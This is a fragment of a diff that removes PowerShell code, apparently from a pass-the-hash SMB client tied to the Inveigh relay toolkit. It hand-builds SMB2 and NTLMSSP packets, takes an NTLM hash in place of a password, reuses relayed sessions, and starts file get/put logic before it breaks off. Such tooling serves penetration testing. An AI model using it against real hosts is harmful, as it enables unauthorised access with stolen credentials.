-    $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00))
-    $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2Header.Add("Command",$Command)
-    $SMB2Header.Add("CreditRequest",$CreditRequest)
-    $SMB2Header.Add("Flags",$flags)
-    $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2Header.Add("MessageID",$message_ID)
-    $SMB2Header.Add("ProcessID",$ProcessID)
-    $SMB2Header.Add("TreeID",$TreeID)
-    $SMB2Header.Add("SessionID",$SessionID)
-    $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-
-    return $SMB2Header
-}
-
-function New-PacketSMB2NegotiateProtocolRequest
-{
-    $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00))
-    $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00))
-    $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00))
-    $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02))
-    $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02))
-
-    return $SMB2NegotiateProtocolRequest
-}
-
-function New-PacketSMB2SessionSetupRequest
-{
-    param([Byte[]]$SecurityBlob)
-
-    [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1]
-
-    $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00))
-    $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00))
-    $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01))
-    $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00))
-    $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length)
-    $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob)
-
-    return $SMB2SessionSetupRequest 
-}
-
-function New-PacketSMB2TreeConnectRequest
-{
-    param([Byte[]]$Buffer)
-
-    [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1]
-
-    $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00))
-    $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00))
-    $SMB2TreeConnectRequest.Add("PathLength",$path_length)
-    $SMB2TreeConnectRequest.Add("Buffer",$Buffer)
-
-    return $SMB2TreeConnectRequest
-}
-
-function New-PacketSMB2CreateRequest
-{
-    param([Byte[]]$FileName,[Int]$ExtraInfo,[Int64]$AllocationSize)
-
-    if($FileName)
-    {
-        $file_name_length = [System.BitConverter]::GetBytes($FileName.Length)
-        $file_name_length = $file_name_length[0,1]
-    }
-    else
-    {
-        $FileName = 0x00,0x00,0x69,0x00,0x6e,0x00,0x64,0x00
-        $file_name_length = 0x00,0x00
-    }
-
-    if($ExtraInfo)
-    {
-        [Byte[]]$desired_access = 0x80,0x00,0x10,0x00
-        [Byte[]]$file_attributes = 0x00,0x00,0x00,0x00
-        [Byte[]]$share_access = 0x00,0x00,0x00,0x00
-        [Byte[]]$create_options = 0x21,0x00,0x00,0x00
-        [Byte[]]$create_contexts_offset = [System.BitConverter]::GetBytes($FileName.Length)
-
-        if($ExtraInfo -eq 1)
-        {
-            [Byte[]]$create_contexts_length = 0x58,0x00,0x00,0x00
-        }
-        elseif($ExtraInfo -eq 2)
-        {
-            [Byte[]]$create_contexts_length = 0x90,0x00,0x00,0x00
-        }
-        else
-        {
-            [Byte[]]$create_contexts_length = 0xb0,0x00,0x00,0x00
-            [Byte[]]$allocation_size_bytes = [System.BitConverter]::GetBytes($AllocationSize)
-        }
-
-        if($FileName)
-        {
-
-            [String]$file_name_padding_check = $FileName.Length / 8
-
-            if($file_name_padding_check -like "*.75")
-            {
-                $FileName += 0x04,0x00
-            }
-            elseif($file_name_padding_check -like "*.5")
-            {
-                $FileName += 0x00,0x00,0x00,0x00
-            }
-            elseif($file_name_padding_check -like "*.25")
-            {
-               $FileName += 0x00,0x00,0x00,0x00,0x00,0x00
-            }
-
-        }
-
-        [Byte[]]$create_contexts_offset = [System.BitConverter]::GetBytes($FileName.Length + 120)
-
-    }
-    else
-    {
-        [Byte[]]$desired_access = 0x03,0x00,0x00,0x00
-        [Byte[]]$file_attributes = 0x80,0x00,0x00,0x00
-        [Byte[]]$share_access = 0x01,0x00,0x00,0x00
-        [Byte[]]$create_options = 0x40,0x00,0x00,0x00
-        [Byte[]]$create_contexts_offset = 0x00,0x00,0x00,0x00
-        [Byte[]]$create_contexts_length = 0x00,0x00,0x00,0x00
-    }
-
-    $SMB2CreateRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2CreateRequest.Add("StructureSize",[Byte[]](0x39,0x00))
-    $SMB2CreateRequest.Add("Flags",[Byte[]](0x00))
-    $SMB2CreateRequest.Add("RequestedOplockLevel",[Byte[]](0x00))
-    $SMB2CreateRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00))
-    $SMB2CreateRequest.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2CreateRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2CreateRequest.Add("DesiredAccess",$desired_access)
-    $SMB2CreateRequest.Add("FileAttributes",$file_attributes)
-    $SMB2CreateRequest.Add("ShareAccess",$share_access)
-    $SMB2CreateRequest.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00))
-    $SMB2CreateRequest.Add("CreateOptions",$create_options)
-    $SMB2CreateRequest.Add("NameOffset",[Byte[]](0x78,0x00))
-    $SMB2CreateRequest.Add("NameLength",$file_name_length)
-    $SMB2CreateRequest.Add("CreateContextsOffset",$create_contexts_offset)
-    $SMB2CreateRequest.Add("CreateContextsLength",$create_contexts_length)
-    $SMB2CreateRequest.Add("Buffer",$FileName)
-
-    if($ExtraInfo)
-    {
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_ChainOffset",[Byte[]](0x28,0x00,0x00,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Offset",[Byte[]](0x10,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Offset",[Byte[]](0x18,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Length",[Byte[]](0x10,0x00,0x00,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag",[Byte[]](0x44,0x48,0x6e,0x51))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Unknown",[Byte[]](0x00,0x00,0x00,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_GUIDHandle",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-
-        if($ExtraInfo -eq 3)
-        {
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_ChainOffset",[Byte[]](0x20,0x00,0x00,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Offset",[Byte[]](0x10,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Offset",[Byte[]](0x18,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Length",[Byte[]](0x08,0x00,0x00,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag",[Byte[]](0x41,0x6c,0x53,0x69))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Unknown",[Byte[]](0x00,0x00,0x00,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_AllocationSize",$allocation_size_bytes)
-        }
-
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Offset",[Byte[]](0x10,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Offset",[Byte[]](0x18,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Length",[Byte[]](0x00,0x00,0x00,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag",[Byte[]](0x4d,0x78,0x41,0x63))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Unknown",[Byte[]](0x00,0x00,0x00,0x00))
-
-        if($ExtraInfo -gt 1)
-        {
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00))
-        }
-        else
-        {
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00))
-        }
-        
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Offset",[Byte[]](0x10,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Offset",[Byte[]](0x18,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Length",[Byte[]](0x00,0x00,0x00,0x00))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag",[Byte[]](0x51,0x46,0x69,0x64))
-        $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Unknown",[Byte[]](0x00,0x00,0x00,0x00))
-
-        if($ExtraInfo -gt 1)
-        {
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Offset",[Byte[]](0x10,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Offset",[Byte[]](0x18,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Length",[Byte[]](0x20,0x00,0x00,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag",[Byte[]](0x52,0x71,0x4c,0x73))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Unknown",[Byte[]](0x00,0x00,0x00,0x00))
-
-            if($ExtraInfo -eq 2)
-            {
-                $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Key",[Byte[]](0x10,0xb0,0x1d,0x02,0xa0,0xf8,0xff,0xff,0x47,0x78,0x67,0x02,0x00,0x00,0x00,0x00))
-            }
-            else
-            {
-                $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Key",[Byte[]](0x10,0x90,0x64,0x01,0xa0,0xf8,0xff,0xff,0x47,0x78,0x67,0x02,0x00,0x00,0x00,0x00))
-            }
-
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_State",[Byte[]](0x07,0x00,0x00,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Flags",[Byte[]](0x00,0x00,0x00,0x00))
-            $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Duration",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-        }
-
-    }
-
-    return $SMB2CreateRequest
-}
-
-function New-PacketSMB2FindRequestFile
-{
-    param ([Byte[]]$FileID,[Byte[]]$Padding)
-
-    $SMB2FindRequestFile = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2FindRequestFile.Add("SMB2FindRequestFile_StructureSize",[Byte[]](0x21,0x00))
-    $SMB2FindRequestFile.Add("SMB2FindRequestFile_InfoLevel",[Byte[]](0x25))
-    $SMB2FindRequestFile.Add("SMB2FindRequestFile_Flags",[Byte[]](0x00))
-    $SMB2FindRequestFile.Add("SMB2FindRequestFile_FileIndex",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2FindRequestFile.Add("SMB2FindRequestFile_FileID",$FileID)
-    $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Offset",[Byte[]](0x60,0x00))
-    $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Length",[Byte[]](0x02,0x00))
-    $SMB2FindRequestFile.Add("SMB2FindRequestFile_OutputBufferLength",[Byte[]](0x00,0x00,0x01,0x00))
-    $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern",[Byte[]](0x2a,0x00))
-
-    if($padding)
-    {
-        $SMB2FindRequestFile.Add("SMB2FindRequestFile_Padding",$Padding)
-    }
-
-    return $SMB2FindRequestFile
-}
-
-function New-PacketSMB2QueryInfoRequest
-{
-    param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$OutputBufferLength,[Byte[]]$InputBufferOffset,[Byte[]]$FileID,[Int]$Buffer)
-
-    [Byte[]]$buffer_bytes = ,0x00 * $Buffer
-
-    $SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00))
-    $SMB2QueryInfoRequest.Add("InfoType",$InfoType)
-    $SMB2QueryInfoRequest.Add("FileInfoClass",$FileInfoClass)
-    $SMB2QueryInfoRequest.Add("OutputBufferLength",$OutputBufferLength)
-    $SMB2QueryInfoRequest.Add("InputBufferOffset",$InputBufferOffset)
-    $SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2QueryInfoRequest.Add("FileID",$FileID)
-
-    if($Buffer -gt 0)
-    {
-        $SMB2QueryInfoRequest.Add("Buffer",$buffer_bytes)
-    }
-
-    return $SMB2QueryInfoRequest
-}
-
-function New-PacketSMB2ReadRequest
-{
-    param ([Byte[]]$FileID)
-
-    $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00))
-    $SMB2ReadRequest.Add("Padding",[Byte[]](0x50))
-    $SMB2ReadRequest.Add("Flags",[Byte[]](0x00))
-    $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00))
-    $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("FileID",$FileID)
-    $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00))
-    $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00))
-    $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30))
-
-    return $SMB2ReadRequest
-}
-
-function New-PacketSMB2WriteRequest
-{
-    param([Byte[]]$FileID,[Int]$RPCLength)
-
-    [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength)
-
-    $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00))
-    $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00))
-    $SMB2WriteRequest.Add("Length",$write_length)
-    $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMB2WriteRequest.Add("FileID",$FileID)
-    $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00))
-    $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00))
-    $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00))
-
-    return $SMB2WriteRequest
-}
-
-function New-PacketSMB2CloseRequest
-{
-    param ([Byte[]]$FileID)
-
-    $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00))
-    $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00))
-    $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2CloseRequest.Add("FileID",$FileID)
-
-    return $SMB2CloseRequest
-}
-
-function New-PacketSMB2TreeDisconnectRequest
-{
-    $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00))
-    $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00))
-
-    return $SMB2TreeDisconnectRequest
-}
-
-function New-PacketSMB2SessionLogoffRequest
-{
-    $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00))
-    $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00))
-
-    return $SMB2SessionLogoffRequest
-}
-
-function New-PacketSMB2IoctlRequest()
-{
-    param([Byte[]]$FileName)
-
-    $file_name_length = [System.BitConverter]::GetBytes($FileName.Length + 2)
-
-    $packet_SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $packet_SMB2IoctlRequest.Add("StructureSize",[Byte[]](0x39,0x00))
-    $packet_SMB2IoctlRequest.Add("Reserved",[Byte[]](0x00,0x00))
-    $packet_SMB2IoctlRequest.Add("Function",[Byte[]](0x94,0x01,0x06,0x00))
-    $packet_SMB2IoctlRequest.Add("GUIDHandle",[Byte[]](0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff))
-    $packet_SMB2IoctlRequest.Add("InData_Offset",[Byte[]](0x78,0x00,0x00,0x00))
-    $packet_SMB2IoctlRequest.Add("InData_Length",$file_name_length)
-    $packet_SMB2IoctlRequest.Add("MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00))
-    $packet_SMB2IoctlRequest.Add("OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00))
-    $packet_SMB2IoctlRequest.Add("OutData_Length",[Byte[]](0x00,0x00,0x00,0x00))
-    $packet_SMB2IoctlRequest.Add("MaxIoctlOutSize",[Byte[]](0x00,0x10,0x00,0x00))
-    $packet_SMB2IoctlRequest.Add("Flags",[Byte[]](0x01,0x00,0x00,0x00))
-    $packet_SMB2IoctlRequest.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00))
-    $packet_SMB2IoctlRequest.Add("InData_MaxReferralLevel",[Byte[]](0x04,0x00))
-    $packet_SMB2IoctlRequest.Add("InData_FileName",$FileName)
-
-    return $packet_SMB2IoctlRequest
-}
-
-function New-PacketSMB2SetInfoRequest
-{
-    param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$FileID,[Byte[]]$Buffer)
-
-    [Byte[]]$buffer_length = [System.BitConverter]::GetBytes($Buffer.Count)
-
-    $SMB2SetInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2SetInfoRequest.Add("StructureSize",[Byte[]](0x21,0x00))
-    $SMB2SetInfoRequest.Add("InfoType",$InfoType)
-    $SMB2SetInfoRequest.Add("FileInfoClass",$FileInfoClass)
-    $SMB2SetInfoRequest.Add("BufferLength",$buffer_length)
-    $SMB2SetInfoRequest.Add("BufferOffset",[Byte[]](0x60,0x00))
-    $SMB2SetInfoRequest.Add("Reserved",[Byte[]](0x00,0x00))
-    $SMB2SetInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00))
-    $SMB2SetInfoRequest.Add("FileID",$FileID)
-    $SMB2SetInfoRequest.Add("Buffer",$Buffer)
-
-    return $SMB2SetInfoRequest
-}
-
-#NTLM
-
-function New-PacketNTLMSSPNegotiate
-{
-    param([Byte[]]$NegotiateFlags,[Byte[]]$Version)
-
-    [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0]
-    [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32
-    [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22
-    [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20
-    [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2
-
-    $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary
-    $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60))
-    $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1)
-    $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06))
-    $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06))
-    $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02))
-    $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0))
-    $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2)
-    $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30))
-    $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3)
-    $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0))
-    $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e))
-    $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30))
-    $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c))
-    $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06))
-    $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a))
-    $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a))
-    $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2))
-    $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4)
-    $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04))
-    $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length)
-    $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
-    $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00))
-    $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags)
-    $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-
-    if($Version)
-    {
-        $NTLMSSPNegotiate.Add("Version",$Version)
-    }
-
-    return $NTLMSSPNegotiate
-}
-
-function New-PacketNTLMSSPAuth
-{
-    param([Byte[]]$NTLMResponse)
-
-    [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0]
-    [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0]
-    [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0]
-    [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0]
-
-    $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary
-    $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82))
-    $NTLMSSPAuth.Add("ASNLength",$ASN_length_1)
-    $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82))
-    $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2)
-    $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82))
-    $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3)
-    $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82))
-    $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length)
-    $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse)
-
-    return $NTLMSSPAuth
-}
-
-function Get-UInt16DataLength
-{
-    param ([Int]$Start,[Byte[]]$Data)
-
-    $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0)
-
-    return $data_length
-}
-
-if($Modify -and $Action -eq 'Put' -and $Source -isnot [Byte[]])
-{
-    $output_message = "[-] Source must be a byte array when using -Modify"
-    $startup_error = $true
-}
-elseif((!$Modify -and $Source -isnot [String]) -or ($Modify -and $Action -ne 'Put' -and $Source -isnot [String]))
-{
-    $output_message = "[-] Source must be a string"
-    $startup_error = $true
-}
-elseif($Source -is [String])
-{
-    $source = $Source.Replace('.\','')
-}
-
-if($PSBoundParameters.ContainsKey('Session'))
-{
-    $inveigh_session = $true
-}
-
-if($PSBoundParameters.ContainsKey('Session'))
-{
-
-    if(!$Inveigh)
-    {
-        Write-Output "[-] Inveigh Relay session not found"
-        $startup_error = $true
-    }
-    elseif(!$inveigh.session_socket_table[$session].Connected)
-    {
-        Write-Output "[-] Inveigh Relay session not connected"
-        $startup_error = $true
-    }
-
-}
-
-$destination = $Destination.Replace('.\','')
-
-if($hash -like "*:*")
-{
-    $hash = $hash.SubString(($hash.IndexOf(":") + 1),32)
-}
-
-if($Domain)
-{
-    $output_username = $Domain + "\" + $Username
-}
-else
-{
-    $output_username = $Username
-}
-
-$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id
-$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID))
-[Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-
-if(!$inveigh_session)
-{
-    $client = New-Object System.Net.Sockets.TCPClient
-    $client.Client.ReceiveTimeout = 30000
-}
-
-$action_step = 0
-
-if($Action -ne 'Put')
-{
-    $source = $source.Replace('\\','')
-    $source_array = $source.Split('\')
-    $target = $source_array[0]
-    $share = $source_array[1]
-    $source_subdirectory_array = $source.ToCharArray()
-    [Array]::Reverse($source_subdirectory_array)
-    $source_file = -join($source_subdirectory_array)
-    $source_file = $source_file.SubString(0,$source_file.IndexOf('\'))
-    $source_file_array = $source_file.ToCharArray()
-    [Array]::Reverse($source_file_array)
-    $source_file = -join($source_file_array)
-    $target_share = "\\$target\$share"
-}
-
-switch($Action)
-{
-
-    'Get'
-    {
-
-        if(!$Modify)
-        {
-
-            if($destination -and $destination -like '*\*')
-            {
-                $destination_file_array = $destination.ToCharArray()
-                [Array]::Reverse($destination_file_array)
-                $destination_file = -join($destination_file_array)
-                $destination_file = $destination_file.SubString(0,$destination_file.IndexOf('\'))
-                $destination_file_array = $destination_file.ToCharArray()
-                [Array]::Reverse($destination_file_array)
-                $destination_file = -join($destination_file_array)
-                $destination_path = $destination
-            }
-            elseif($destination)
-            {
-
-                if(Test-Path (Join-Path $PWD $destination))
-                {
-                    $output_message = "[-] Destination file already exists"
-                    $startup_error = $true
-                }
